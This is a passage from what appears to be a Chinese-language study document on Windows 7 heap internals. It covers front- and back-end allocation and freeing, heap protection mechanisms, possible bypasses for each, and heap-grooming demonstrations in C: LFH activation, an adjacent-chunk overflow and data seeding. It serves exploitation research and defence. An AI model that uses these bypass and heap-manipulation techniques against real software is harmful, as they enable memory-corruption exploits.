​ _HEAP 结构体,分配尺寸以及期望的 ListHint(FreeList) 作为一部分参数传递给 RtlpAllocateHeap()

1)流程
  1. 对待分配的尺寸按8字节对齐

  2. 判断 Flags 是否对 HEAP_NO_SERIALIZE 置位。如果该位置位,则LFH不会启用。若该位没有设置,调用RtlpPerformHeapMaintenance激活LFH,设置ExtendedListLookup

  3. 尽管LFH此时已经做好服务请求的准备,但后端分配器仍然会继续进行它的分配。执行完这段代码后再次处理虚拟内存请求,就可以看到 RtlpAllocateHeap() 将试图查看 ListHint(FreeList) 的参数是否非空。根据到来的有效ListHint(FreeList) 参数,后端管理器会应用启发式机制来判断LFH是否应该为后续的请求处理分配

  4. 此时LFH激活flag已经被设置,分配在后端继续进行

  5. 检查 ListHint(FreeList) 是否被填充过

  6. 执行一个safe unlink检查。这将确保ListHint(FreeList) 值的完整性以避免在unlinking时被4字节覆盖所利用

  7. ListsInUseUlong (FreeListInUseBitmap)随后被更新。最后,从链表上卸下来的chunk会更新头部,转为BUSY态并返回。

  8. 如果 ListHint(FreeList) 无法满足内存分配请求,后端堆管理器就会使用 Heap->FreeLists

  9. FreeLists 包含了堆上所有的 空闲chunks。如果某个尺寸合适的chunk被找到,那么就会对它进行切割(如果需要的话)并返回给用户

  10. 如果穷尽了结构体还是找不到,堆就需要使用 RtlpExtendHeap() 来扩展

2)总结

​ 从后端堆管理器进行堆块分配时,会通过用户申请堆块大小索引到维护对应大小堆块的ListHints数组,并通过Flink指针找到在FreeLists链表中大小相对应的堆块,并进行Unlink操作将其从链表上卸下返回给用户使用。

​ 若未找到对应大小堆块则会向后遍历FreeLists链表,直到找到第一个最小满足申请大小的堆块进行切割分配。

​ 若遍历完整个链表仍然没有成功分配,则会扩展堆。

3. 前端分配(RtlpLowFragHeapAllocFromContext)

​ RtlpLowFragHeapAllocFromContext() 仅仅在 ListHint 的blink的0位被置位时才会被调用。该位操作 可以判断出blink是否包含一个 HeapBucket ,标志着LFH已做好服务该请求的准备

1)流程
  1. 获取所有的关键数据结构。包括 _LFH_HEAP, _HEAP_LOCAL_DATA, _HEAP_LOCAL_SEGMENT_INFO 和 _HEAP_SUBSEGMENT

  2. 分配器首先会试图使用 Hint SubSegment 。如果失败则继续尝试使用 ActiveSubsegment 。如果 ActiveSubsegment 也失败了,那么分配器必须为LFH设置适当的数据结构以继续

    分配过程如下:

    ① 获取当前的AggregateExchange信息,获取当前的 Depth(AggrExchg‐>Depth), Offset (AggrExchg‐>FreeEntryOffset)和 Sequence (AggrExchg‐>Sequence)

    ② 在Depth非0的情况下,将UserBlocks+8*FreeEntryOffset地址的堆块分配给用户使用,然后将FreeEntryOffset字段更新为位于该堆块用户区前2字节的Offset,便于在下一次分配时进行寻址,并将Depth字段-1

    注意:循环逻辑是为了保证关键数据的更新是原子的,不 会在操作期间出现其他修改

  3. 如果两种SubSegment都失败了,前端堆就需要调用RtlpAllocateUserBlock分配一个新的chunk内存。该内存的总量基于请求chunk的尺寸以及当前堆上可用的内存总量

    (如果Hint和Active SubSegments都失败了,无论是因为未初始化还是非法, RtlpLowFragHeapAllocFromContext() 都必须去分配内存来获取一个新的 SubSegment,此后会将大块的chunk分成 HeapBin 。一旦这一步完成了,上面的代码就可以通过 ActiveSubsegment 来服务请求了。 )

  4. 此时内存已经分配,但LFH还未完全准备好使用它。它必须先和一个 _HEAP_SUBSEGMENT 结构耦合。该 SubSegment要么是先前被删除的一个,要么创建于 _LFH_BLOCK_ZONE 链表取回的地址上

  5. 在UserBlocks被分配以后,对SubSegment赋值并初始化后,LFH就可以设置 ActiveSubsegment 为刚刚初始化的那个。它会使用一些锁机制进行操作,最终原子地赋值给 ActiveSubsegment 。最后执行流将返还到第二步使用ActiveSubsegment

2)总结

​ 从前端堆管理器进行堆块分配时,会通过用户申请堆块大小索引到维护对应大小堆块的SegmentInfo数组,并获得SegmentInfo->Hint->AggregateExchg->OffsetAndDepth字段,在Depth非0的情况下,将UserBlocks+8*FreeEntryOffset地址的堆块分配给用户使用,然后将FreeEntryOffset字段更新为位于该堆块用户区前2字节的Offset,便于在下一次分配时进行寻址,并将Depth字段-1。

4. 分配总结

​ 在用户申请分配某一大小的内存空间时,首先会判断申请大小,若大于0xFE00blocks,即504KB,则调用VirtualAlloc()进行分配;

​ 若大于0x800blocks,即16KB,则直接以后端堆管理器进行分配。

​ 若小于16KB,则先以后端堆管理器对这次分配操作进行响应,在BlocksIndex及ExtendedLookup结构中寻找相应大小的ListHints,在找到相对应大小的ListHints数组时会判断其Blink是否为奇数,即Buckets+1,若是则会将该分配操作交给前端堆管理器进行响应。

​ 若不为奇数,则判断Blink的低2字节是否大于0x20或高2字节是否大于0x1000,即判断在占用状态的该大小堆块的总数是否大于0x10或是否进行了0x1000次该大小堆块的申请。

​ 若判断为真,则会设置HeapBase->CompatibilityFlags,在下次再分配同样大小堆块时将Blink赋值为Buckets+1,并启用前端堆管理器响应堆块分配;若判断为假,则仍然采用后端堆管理器响应堆块分配,并将Blink的值加0x10002。

5. 分配举例

​ 假定LFH已经被激活且这是我们第一次将由前端分配器进行处理的分配请求。当收到0x28(40)字节分配请求时,因为头部大小的关系,尺寸会调整为0x30(48)字节(0x6 blocks)。假设将使用 _HEAP_LOCAL_DATA 结构中 SegmentInfo[0x5] 处的 ActiveSubSegment

LFH->LocalData[0]->SegmentInfo[0x5]->ActiveSubsegment->UserBlocks
1)Windbg中查看流程

​ 为了方便,本次实验使用Kernel Debug模式调试

  1. 选择一个合适的堆作为调试对象,本次实验选择0x01d0000处的堆

  2. 查看_LFH_HEAP结构

  3. 查看LocalData

  4. 查看SegmentInfo[5]

  5. 查看LFH->LocalData[0]->SegmentInfo[0x5]->ActiveSubsegment

  6. 查看LFH->LocalData[0]->SegmentInfo[0x5]->AggregateExchg,发现此时FreeEntryOffset为0x20

  7. 使用LFH->LocalData[0]->SegmentInfo[0x5]->ActiveSubsegment->UserBlocks + FreeEntryOffset*8得到下一个将被分配的空闲Chunk地址

  8. 若0x19A38198处的Chunk被分配,则将其用户区前2个字节处的偏移写入FreeEntryOffset里,此时再查看LFH->LocalData[0]->SegmentInfo[0x5]->AggregateExchg,已被修改为3e

  9. 再查看0x19A38198处的Chunk,该Chunk为占用

  10. 查看0x19A38288处的Chunk,该Chunk为空闲

    使用!heap -p -a命令可以查看堆块详细信息:

2)结构图

分配前的UserBlock里的空闲Chunks

一次分配后的UserBlock里的空闲Chunks

两次分配后UserBlock里的的空闲Chunks

4.3.2 堆块的释放

1. 释放

​ 使用中的chunk会被应用程序释放并 返还给堆管理器。它从 RtlFreeHeap() 开始,把heap, flags和待释放的chunk作为参数

流程
  1. 鉴别该chunk 是否是可以释放的(free-able):判断该传入的Chunk是否为NULL,Chunk是不是8字节对齐
  2. 检查chunk的头部来判断哪个堆管理器应该负责去释放它;若头部的0x7位为0x80,则调用RtlpLowFragHeapFree释放Chunk,否则调用RtlpFreeHeap释放该Chunk

2. 后端释放(RtlpFreeHeap)

​ 后端管理器负责处理那些前端处理不了的内存,无论是因为尺寸还是因为LFH的缺失。所有超过0xFE00 blocks的分配都由VirtualAlloc()/VirtualFree()直接处理,所有超过0x800 blocks的以及那些不能被前端处理的都由后端处理

​ RtlpFreeHeap() 以 _HEAP , Flags , ChunkHeader 和 ChunkToFree 作为参数

流程
  1. 解码chunk头部(如果 被编码了的话)

  2. 在BlocksIndex内找到一个合适的 ListHint 。如果无法找到充足的索引,它将使用 BlocksIndex->ArraySize-1 作为 ListHint

  3. 此时 _HEAP_LIST_LOOKUP 已经找到,函数尝试检索特定的 ListHint :

    ListHint可以是一个特定的值,比如ListHints[0x6],或者,如果待释放的chunk尺寸大于该 BlocksIndex 管理的额度,它就会被释放到 ListHints[BlocksIndex->ArraySize-BaseIndex-1]。(类似以前的FreeList[0]链表)

  4. 如果 ListHint 已经被找到, blink 不包含 HeapBucket ,那么后端管理器就会更新LFH启发式策略所用的值:当堆上的chunk被放回时,它会从计数器中扣除0x2。这实际上意味着想要对给定的 Bucket 激活LFH,至少要进行 0x11次连续分配。

    举例:如果 Bucket[0x6] 收到0x10个请求,此后那些chunks中的0x2个释放回堆,接着再进行0x2次同样大小 的分配,LFH对Bucket[0x6]来说不会启用。该阈值必须在激活启发式执行堆维护之前触发

  5. 更新LFH激活的计数后,如果堆允许, RtlpFreeHeap() 将试图合并chunk:堆将视察内存上两个毗邻的free chunks。这是为了避免有太多的小块空闲chunks挨在一起(LFH直接调节了这一问题)。

    chunk合并仅仅只在相邻的空闲chunk存在时才会 发生。 一旦合并完成,将会继续检查新的块尺寸以保证其不超过 Heap->DeCommitThreshold ,也要确保它的分配请求不是由virtual memory处理的。最后,该算法片段将标记chunk为FREE态,并且将其未用到的字节零化

  6. 一个空闲chunk必须被放置在FreeLists特定的位置,或者放在FreeList[0]风格的结构ListHints[ArraySizeBaseIndex-1]中。插入方法如下:

    遍历 _HEAP_LIST_LOOKUP 来找到一个插入点。此后它会进一步遍历 ListHead(和 Heap->FreeLists 等同的指针)。循环被用来迭代所有的堆上可用的 _HEAP_LIST_LOOKUP 结构

    该算法会获取 ListHead 并做一些初始化验证:

    ① 检查链表是否为空,如果是的话,循环会终止,执行流继续。

    ② 确保待释放的chunk与该链表匹配:它将比较链表的最后一个项目的尺寸是否大于待释放chunk的尺寸

    ③ 检查ListHead的第一个条目来判断它是否可以在此前插入。如果不行的话, FreeLists 将被遍历以找到新的释放的chunk可以被链入的位置(以 FreeListIndex 索引开始)

  7. 当插入位置被精准锁定后, RtlpFreeHeap() 将确保chunk被链入到了合适的位置

  8. 一旦最后chunk插入的位置锁定了,它将安全的链入到FreeList(Safe Linking)

  9. 该chunk被放置在合适的 FreeList 上, ListsInUseUlong 也相应更新(改变了位图的更新方式)

3. 前端释放(RtlpLowFragHeapFree)

​ 前端释放由LFH处理。当特定的启发式被触发时,它才会启用。设计LFH是为了避免内存碎片并支持频繁的特定尺 寸内存的使用,它与旧的前端管理器Lookaside链表完全不同,Lookaside是通过链表结构来维护小于1024字节的 chunks。尽管 BlocksIndex 结构可以跟踪尺寸超过16k的chunks,LFH也仅仅为小于16k的chunks服务

​ RtlpLowFragHeapFree 使用两个参数,一个 _HEAP 结构体和一个指向待释放的chunk指针。

流程
  1. 检查具体的 flags是否有在待释放块的头部中设定。如果flags为0x5,那么就需要做出调整来改变头部的位置

  2. 找到相关联的 SubSegment , SubSegment 使得它可以访问跟踪内存时所有需要的成员。它也会重置头部的一些值来反映出其是一个最近释放的块。

  3. 当定位到一个合适的Chunk头部时,函数需要设置一个新的INTERLOCK_SEQ,设置步骤如下:

    1)获得当前SubSegment 的原INTERLOCK_SEQ

    2)获得当前的 Depth , Offset 和 Sequence

    3)将原INTERLOCK_SEQ中的Offset写入被释放的Chunk头部后2字节

    4)从当前offset扣除释放的block尺寸;得到当前被释放空闲块的offset,将新Offset写入新的INTERLOCK_SEQ。此时即将该空闲块插入到UserBlocks中,且该空闲块为第一个空闲块

    5)depth++,因为我们释放了一个chunk

    6)在subsegment中设置Hint

    7)新旧INTERLOCK_SEQ将进行原子交换,成功则跳出循环,失败则循环继续

  4. 检查 Sequence 变量是否被设置成了0x3。如果是的话,就说明 SubSegment 需要执行更多操作, UserBlocks chunk可以被释放(通过后端管理器);如果不是的话,就会返回0x1

4. 释放总结

​ 在进行堆块释放操作时,系统遵循“从哪来,回哪去”的规则。

​ 在接收到堆块释放的请求时,系统会先判断堆的大小,所有大于504KB的堆块都直接调用VirtualFree()进行释放,小于504KB大于16KB的堆块都将链入FreeLists链表中。

​ 小于16KB的堆块,系统会通过堆头信息判断该堆块是从前端堆管理区进行分配还是后端堆管理区进行分配,若从前端分配,则将其释放回前端堆中,并将AggregateExchg结构中的FreeEntryOffset写入堆块用户区的前2字节,并用该堆块对于UserBlocks的偏移更新FreeEntryOffset字段,再将Depth字段+1。若从后端分配,则将其链入FreeLists链表中,并更新对应大小的ListHints中的Flink指针,再判断该对应大小是否已开启LFH分配策略,若未开启,则将Blink-0x0002

5. 释放举例

​ 延续分配举例的例子,此处只列出构图。

​ 当我们从LFH分配的内存被释放时内存本身不会移动,只是 Offset 被更新,它用于作 为下一个空闲chunk位置的索引。

​ 现在假设第一个chunk被释放了,此时需要更新第一个chunk的offset并递增depth 0x1。新的offset由chunk头部地址来计算,扣除UserBlock的地址并除以0x8。也就是说,新的offset继承自UserBlock的相对位置(以blocks为单 位)

​ 下面的图展示了UserBlock在第一个chunk被释放时的状态:

​ 当第二个Chunk也被释放时:

4.3.3 堆块的合并

​ 该阶段的堆块合并操作与前版本中几乎相同。在释放前端堆块时不会触发合并操作,在释放后端堆块时,若与该堆块毗邻的堆块为空闲堆块,则会进行堆块合并操作,合并后的堆块会重新链入FreeLists的合适位置,并更新相应大小的ListHints的对应数值

4.4 堆保护机制

​ 大部分在Windows XP SP2中引入的安全机制在Windows 7中原封不动,而Windows 7中还有一些额外的安全机制 (基于Windows Vista代码),对其列举如下:

4.4.1 堆随机化

1. 简介

​ 堆随机化的目的在于 HeapBase 将有一个不可预测的地址。每次堆创建时,都会在基地址上增加一个随机的偏移以 防止可预测的内存地址。

2. 实现

1)实现流程
  1. 获取页对齐尺寸作为随机数pad
  2. 如果maxsize + pad溢出了,就零化randpad
  3. 调用NtAllocateVirtualmemory申请TotalMaxSize(MaximumSize + RandPad)大小的保留内存
  4. 调用RtlpSecMemFreeVirtualMemory将从BaseAddress地址起RandPad页面大小的内存释放掉
  5. 最后调整Heap基地址和Heap的大小:
Heap = (_HEAP*)RandPad + BaseAddress;
MaximumSize = TotalSize ‐ RandPad;
2)代码
	int BaseAddress = Zero;
int RandPad = Zero;
//get page aligned size to use as a random pad
//获取页对齐尺寸作为随机数pad
int RandPad = (RtlpHeapGenerateRandomValue64() & 0x1F) << 0x10;
//if maxsize + pad wraps, null out the randpad
//如果maxsize + pad溢出了,就零化randpad
int TotalMaxSize = MaximumSize + RandPad;
if (TotalMaxSize < MaximumSize)
{
TotalMaxSize = MaximumSize;
RandPad = Zero;
}
//0x2000 = MEM_RESERVE
//0x40 = PAGE_EXECUTE_READWRITE
//0x04 = PAGE_READWRITE
//this will reserve the memory at the baseaddress
//but NOT actually commit any memory at this point
//在baseaddress上reserver内存,但实际上不会在此时commit
int Opts = 0x4;
if (Options & 0x40000)
Opts = 0x40;
if (NtAllocateVirtualmemory(‐1, &BaseAddress, 0x0, &TotalMaxSize, 0x2000, Opts)
return 0;
Heap = (_HEAP*)BaseAddress;
//adjust the heap pointer by randpad if possible
//用randpad来调整堆指针
if (RandPad != Zero)
{
if (RtlpSecMemFreeVirtualMemory(‐1, &BaseAddress, &RandPad, 0x8000) >= 0)
{
Heap = (_HEAP*)RandPad + BaseAddress;
MaximumSize = TotalSize ‐ RandPad;
}
}

3. 突破的可能性

1)随机熵的缺陷

​ 对堆来说当使用随机化时,实际上基地址的数量是有限的,这是因为它们需要64k对齐(5bits熵)。所以可以通过熵的缺陷来猜测堆基地址

2)RandPad+MaximumSize越界

​ 如果RandPad+MaximumSize越界,那么RandPad将为NULL。这将有效的避免堆随机化的产生。

缺点:① 无法控制HeapCreate()的传参。② 获取一个足够大的MaximumSize堆往往会引起 NtAllocateVirtualMemory() 返回NULL

4.4.2 头部编码/解码

1. 简介

​ 堆现在将编码每个 _HEAP_ENTRY 的第一个4字节。这将阻止对Size, Flags和 Checksum溢出的影响。

2. 实现

​ 编码过程由异或前3个字节并存储到 SmallTagIndex 变量中完成,此后前4个字节会与 Heap->Encoding 进行异或(由 RtlCreateHeap()随机产生 )

//编码
EncodeHeader(_HEAP_ENTRY *Header, _HEAP *Heap)
{
if (Heap-> EncodeFlagMask)
{
Header-> SmallTagIndex =
(BYTE)Header ^ (Byte)Header + 1 ^ (Byte)Header + 2;
(DWORD)Header ^= Heap-> Encoding;
}
}
//解码
DecodeHeader(_HEAP_ENTRY *Header, _HEAP *Heap)
{
if (Heap-> EncodeFlagMask && (Header & Heap-> EncodeFlagMask))
{
(DWORD)Header ^= Heap-> Encoding;
}
}

3. 突破的可能性

1)头部被覆写且在值校验之前被使用

​ 对chunk头部起始4字节的编码使得覆写 Size , Flags 或是 Checksum 字段的操作在不使用信息泄露(info leak)的情况下几乎不可。但这也没有阻止我们覆写头部的其他信息:如果头部可以被覆写且在值校验之前被使用,那么就可以潜在的改变执行流。

2)覆写堆管理器

​ 覆写堆管理器,使其认为chunk是没有被编码的。

​ ① NULL化 Heap->EncodeFlagMask (被初始化为0x100000)。后续的任何编解码操作都不会进行。

缺点:因为堆不稳定不易跟踪。一般会创建一个新的堆来达到这种效果(未编码覆写 _HEAP_ENTRY 头)。

​ ② 通过覆盖chunk头的4字节,使得其与 Heap->EncodeFlagMask 进行AND位操作可以返回 false。这种方法可对 Size , Flags 和 Checksum 进行有限的控制。仅仅在 FreeLists 中覆写头部有用,因为校验合法的操作在分配过程中已完成了。

4.4.3 位图翻转的破灭

1. 位图翻转的攻击手法

​ 在Windows XP中,XOR操作用来更新位图。如果逻辑上可以触发该更新操作且此时FreeList为空的话,在位图中当前的位会对自身进行XOR异或操作,这就会使得它的值翻转。如下图更新空表位图的操作为异或

// if we unlinked from a dedicated free list and emptied it,clear the bitmap
// 如果我们对专门的freelist摘除并清空,就会清除bitmap
if (reqsize < 0x80 && nextchunk == prevchunk)
{
size = SIZE(chunk);
BitMask = 1 << (size & 7);
// note that this is an xor
// 注意到这是个xor
FreeListsInUseBitmap[size >> 3] ^= vBitMask;
}

​ 所以一旦chunk的尺寸被污染了,就可以修改某个专门的FreeList的状态,而它原本是不该被修 改的,这就导致可以进一步去覆盖 HeapBase 中的关键数据

2. 位图更新手法的改变

​ 标志一个链表为空闲态:按位与AND操作被使用到,这确保了空的链表可以保持空的状态而被填充过的链表仅仅可以被标志为空。

​ 标志一个链表为填充态:使用按位或OR操作来改变 ListsInUserUlong 。如此,一个空的链表可以被标志为填充态,但已填充的链表却不能变成未填充态。

//HeapAlloc
size = SIZE(chunk);
BitMask = 1 << (Size & 0x1F);
BlocksIndex‐>ListInUseUlong[Size >> 5] &= ~BitMask; //HeapFree
size = SIZE(chunk);
BitMask = 1 << (Size & 0x1F);
BlocksIndex‐>ListInUseUlong[Size >> 5] |= BitMask;

4.4.4 Safe Linking

1. 实现

​ 在链入一个空闲chunk前校验了chunk的blink。如果FreeList的Blink->Flink不是指向自身,那就认为它已经被破坏而不会再执行链入操作

if (InsertList‐ > Blink‐ > Flink == InsertList)
{
ChunkToFree‐ > Flink = InsertList;
ChunkToFree‐ > Blink = InsertList‐ > Blink;
InsertList‐ > Blink‐ > Flink = ChunkToFree;
InsertList‐ > Blink = ChunkToFree;
}
else
{
RtlpLogHeapFailure();
}

2. 突破的可能性

​ 在 RtlpLogHeapFailure() 之后过程并没有终止。后面的代码直接把chunk插入到合适的ListHints槽,而实际上并没有更新flink和blink。这意味着 flink和blink是用户完全可控的(因为flink和blink在data域,释放之后用作flink和blink不会被零化,所以在不改写的情况下释放前是什么释放后还是什么)

4.4.5 HeapEnableTerminateOnCorrupton

​ 在前一阶段版本加入的安全机制中,检测不通过时会调用RtlpHeapReportCorruption()。但是由于HeapEnableTerminateOnCorrupton字段默认不启用,导致在检测不通过后继续进程,因此导致了上文所述的多种利用手法的存在。

​ 在本阶段的版本中,默认启用了HeapEnableTerminateOnCorruption字段,使得在安全机制检测不通过时直接结束进程,杜绝了上一阶段版本中的多种攻击手法

4.5 突破堆保护机制

4.5.1 Heap Determinism

​ 为堆的精心操纵(heap manipulation)。不同chunk尺寸、分配或是释放操作的时机都会在现代Windows堆EXP中引起不同的变化。精确控制堆的分配和释放来完成攻击

1. 激活LFH

​ LFH对Windows 7来说是唯一的前端堆管理器,但它并不会默认处理所有的特定尺寸chunk的分配请求。LFH必须由后端的启发式机制激活。 LFH可以由至少0x12次连续分配相同尺寸的操作来激活(或者0x11,如果LFH此前被激活过)

1)对特定Bucket如何激活LFH
//0x10 => Heap‐>CompatibilityFlags |= 0x20000000;
//0x11 => RtlpPerformHeapMaintenance(Heap);
//0x11 => FreeList‐>Blink = LFHContext + 1;
for(i = 0; i < 0x12; i++)
{
printf("Allocation 0x%02x for 0x%02x bytes\n", i, SIZE);
allocb[i] = HeapAlloc(pHeap, 0x0, SIZE);
} //now that the _HEAP_BUCKET is in the
//ListHint‐>Blink, the LFH will be used
//现在_HEAP_BUCKET在ListHint‐>Blink中,LFH会被使用
printf("Allocation 0x%02x for 0x%02x bytes\n", i++, SIZE);
printf("\tFirst serviced by the LFH\n");
allocb[i] = HeapAlloc(pHeap, 0x0, SIZE);
2)Windbg调试

实验环境

环境 环境准备
虚拟机 32位Windows 7 SP1
调试器 OllyDbg、WinDbg
编译器 VS2008(只是刚好虚拟机有这个编译器,随便用什么都行)
编译版本 Release/Debug(注意:实际调试后,使用Debug编译后的程序,直接运行,产生断点异常之后再附加调试器,也可以激活LFH。只有一开始就使用调试器调试才不能激活LFH)

实验代码

  • 方法1:使得 Flags 的第 2 个 bit 为 2,从而能够启动 LFH
  • 方法2:直接获取 RtlCreateHeap 的地址,定义 LFH_HEAP 宏为 2,跳过 CreateHeap 的检查
  • 方法3:直接启动 LFH,不需要之后的循环分配堆块
BOOL ActivateLFH(HANDLE *hHeap, SIZE_T test_size)
{
BOOL bOK = FALSE; __asm int 3; // method 1
//*hHeap = HeapCreate(0, 0, 0); pFuncHeapCreate co_HeapCreate = (pFuncHeapCreate)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlCreateHeap");
if (co_HeapCreate == NULL)
goto end; // method 2
// What is interesting is that HEAP_GROWABLE also equals to 2 and LFH cannot be activated
// if the creating heap is not growable
*hHeap = co_HeapCreate(HEAP_LFH, NULL, 0x10000, 0x1000, NULL, NULL);
if (*hHeap == NULL)
goto end; // method 3
//ULONG heapInfo = HEAP_LFH;
//bOK = HeapSetInformation(*hHeap, HeapCompatibilityInformation, &heapInfo, sizeof(ULONG));
//if (!bOK)
// goto end; for (int i = 0; i < 0x12; i++) {
char * heapChunk = (char *)HeapAlloc(*hHeap, 0, test_size);
} return TRUE; end:
_tprintf(TEXT("There is something wrong\n"));
return FALSE;
}

实验过程

  1. 为了方便,设置Windbg为默认调试器,设置方法如下:

    找到Windbg的安装地址,使用cd进入该目录,使用命令 windbg -I

  2. 在程序中加入_asm int 3; 让程序产生一个异常,然后走 SEH,当程序无法处理这个异常时, 就会弹窗,提示是否要调试该程序,此时使用Windbg附加到该程序

  3. 运行到创建完私有堆之后,可见该创建的私有堆地址为0x001d0000

  4. 查看该Heap结构:

  5. 查看_HEAP_LIST_LOOKUP 结构:

  6. 当循环体分配第一个堆块后,查看 ListHints[7].Blink 的值,注意这里分配的堆块大小为 0x38,用户大小为 0x30

    可知 Blink 为 0x10002,这里只留意前两字节,即 0x0002

  7. 第二次分配后,ListHints[7].Blink 如图所示:Blink 的前两字节为 0x0004

  8. 当分配 0x10 次之后(为了方便可以直接按F9在循环内下断点,然后按F10执行0x10次,若直接按F10不加断点的话就会直接循环结束跳出循环),ListHints[7].Blink 如图所示:

    可知Blink 的前两字节为 0x0020,由此可知,每分配一次,Blink 的前两字节加 2。

  9. 查看前端堆情况,此时 LFH 还未被开启。CompatibilityFlags 为 0

  10. 再分配一个堆块,Blink 的前两字节为 0x0022,超过了 0x20

  11. 查看前端堆情况,CompatibilityFlags 被修改为 0x20000000,LFH 未开启

  12. 再分配一次堆块,即第 0x12 次,结果如图,Blink 变成了一个奇怪的值,还是奇数

  13. BLink - 1 = 0x00410171 - 1 = 0x00540170 指向了_HEAP_BUCKET 结构,其 SizeIndex 为 6,_RtlpBucketBlockSizes[6] = 0x30 为该堆块的用户区大小,和分配的堆块用户区大小一致

  14. 此时查看前端堆,FrontEndHeap 非 NULL,表示 LFH 开启,CompatibilityFlags 被重置为 0。如果再分配一个相同大小的堆块,那么这次分配就会由前端堆完成

2. 碎片整理

​ 因为频繁的分配和释放操作, UserBlock chunk会碎片化。所以要进行碎片整理操作以保证我们溢出的chunk与我们想要覆写的chunk毗邻

​ 下图为单次分配不会导致3个毗邻的对象:

​ 如此攻击者可以进行3次分配从而填充这些坑洞碎片:

​ 攻击者往往不知道具体有多少坑洞需要去填充,也不知道需要多少个分配才能完全耗尽 UserBlocks(Depth==0x0) 。于是就强制堆管理器来创建一个新的 SubSegment ,他不会包含任何坑洞

3. 相邻数据

​ 当试图完成一个堆缓冲区溢出exp时,最难的任务之一就是精心操纵堆,使得堆的状态已知。很难保证溢出的 chunk与想要被覆写的chunk是物理毗邻的。

​ 对后端堆来说,释放内存时的合并操作会导致溢出失去准确性

​ 对前端堆来说,LFH不会合并chunks,因为它们的尺寸全部一致,由 UserBlock 的相对偏移来索引。这使得相同大小的chunks可以挨着放置。如果可以溢出,BUSY和FREE态chunks可以被覆写,这依赖于 UserBlocks 当前的状态

举例

​ alloc3中的数据被覆盖成了溢出 alloc1 的数据。alloc2 在溢出后期字符串的长度是 alloc2 和 alloc3 组合在一起的长度,因为 null 终止符被覆盖掉了

LFH Chunk overflow

EnableLFH(SIZE);
NormalizeLFH(SIZE); alloc1 = HeapAlloc(pHeap, 0x0, SIZE);
alloc2 = HeapAlloc(pHeap, 0x0, SIZE); memset(alloc2, 0x42, SIZE);
*(alloc2 + SIZE‐1) = '\0'; alloc3 = HeapAlloc(pHeap, 0x0, SIZE);
memset(alloc3, 0x43, SIZE);
*(alloc3 + SIZE‐1) = '\0'; printf("alloc2 => %s\n", alloc2);
printf("alloc3 => %s\n", alloc3); memset(alloc1, 0x41, SIZE * 3); printf("Post overflow..\n");
printf("alloc2 => %s\n", alloc2);
printf("alloc3 => %s\n", alloc3);

LFH Chunk overflow result

Result:
alloc2 => BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
alloc3 => CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC Post overflow..
alloc2 => AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCCCCC
CCCCCCCCC
alloc3 => AAAAAAAAAAAAAAAAAAAAAAAACCCCCCCCCCCCCCC

4. 播种数据(控制数据)

​ 每个chunk都可以通过写入用户的数据来控制内容(前提是HeapAlloc()的dwFlags不设置为HEAP_ZERO_MEMORY

举例

​ 首次分配打印出了LFH每个chunk写入的内存数据,尺寸是0x28(增加 _HEAP_ENTRY 头大小是0x30)。所有的chunks 都被释放掉,此后重新分配了相同大小的内存。

​ 两次打印的数据非常相似,这是因为这些chunks既没有被合并也没有被清除数据。被改变的仅仅只有数据域的前两个字节。

​ 重新分配的chunks相对于一开始在UserBlock中原本的顺序来说是颠倒的。因为 FreeEntryOffset 在每次 HeapFree() 调用时都会重新建立索引。

Data seeding

EnableLFH(SIZE);
NormalizeLFH(SIZE); for (i = 0; i < 0x10; i++)
{
printf("Allocation 0x%02x for 0x%02x bytes => ", i, SIZE);
allocb[i] = HeapAlloc(pHeap, 0x0, SIZE);
memset(allocb[i], 0x41 + i, SIZE);
for (j = 0; j < 12; j++)
printf("%.2X", allocb[i][j]);
printf("\n");
} printf("Freeing all chunks!\n");
for (i = 0; i < 0x10; i++)
{
HeapFree(pHeap, 0x0, allocb[i]);
} printf("Allocating again\n");
for (i = 0; i < 0x10; i++)
{
printf("Allocation 0x%02x for 0x%02x bytes => ", i, SIZE);
allocb[i] = HeapAlloc(pHeap, 0x0, SIZE);
for (j = 0; j < 12; j++)
printf("%.2X", allocb[i][j]);
printf("\n");
}

Data seeding results

Result:
Allocation 0x00 for 0x28 bytes => 41414141 41414141 41414141
Allocation 0x01 for 0x28 bytes => 42424242 42424242 42424242
Allocation 0x02 for 0x28 bytes => 43434343 43434343 43434343
Allocation 0x03 for 0x28 bytes => 44444444 44444444 44444444
Allocation 0x04 for 0x28 bytes => 45454545 45454545 45454545
Allocation 0x05 for 0x28 bytes => 46464646 46464646 46464646
Allocation 0x06 for 0x28 bytes => 47474747 47474747 47474747
Allocation 0x07 for 0x28 bytes => 48484848 48484848 48484848
Allocation 0x08 for 0x28 bytes => 49494949 49494949 49494949
Allocation 0x09 for 0x28 bytes => 4A4A4A4A 4A4A4A4A 4A4A4A4A
Allocation 0x0a for 0x28 bytes => 4B4B4B4B 4B4B4B4B 4B4B4B4B
Allocation 0x0b for 0x28 bytes => 4C4C4C4C 4C4C4C4C 4C4C4C4C
Allocation 0x0c for 0x28 bytes => 4D4D4D4D 4D4D4D4D 4D4D4D4D
Allocation 0x0d for 0x28 bytes => 4E4E4E4E 4E4E4E4E 4E4E4E4E
Allocation 0x0e for 0x28 bytes => 4F4F4F4F 4F4F4F4F 4F4F4F4F
Allocation 0x0f for 0x28 bytes => 50505050 50505050 50505050 Freeing all chunks!
Allocating again
Allocation 0x00 for 0x28 bytes => 56005050 50505050 50505050
Allocation 0x01 for 0x28 bytes => 50004F4F 4F4F4F4F 4F4F4F4F
Allocation 0x02 for 0x28 bytes => 4A004E4E 4E4E4E4E 4E4E4E4E
Allocation 0x03 for 0x28 bytes => 44004D4D 4D4D4D4D 4D4D4D4D
Allocation 0x04 for 0x28 bytes => 3E004C4C 4C4C4C4C 4C4C4C4C
Allocation 0x05 for 0x28 bytes => 38004B4B 4B4B4B4B 4B4B4B4B
Allocation 0x06 for 0x28 bytes => 32004A4A 4A4A4A4A 4A4A4A4A
Allocation 0x07 for 0x28 bytes => 2C004949 49494949 49494949
Allocation 0x08 for 0x28 bytes => 26004848 48484848 48484848
Allocation 0x09 for 0x28 bytes => 20004747 47474747 47474747
Allocation 0x0a for 0x28 bytes => 1A004646 46464646 46464646
Allocation 0x0b for 0x28 bytes => 14004545 45454545 45454545
Allocation 0x0c for 0x28 bytes => 0E004444 44444444 44444444
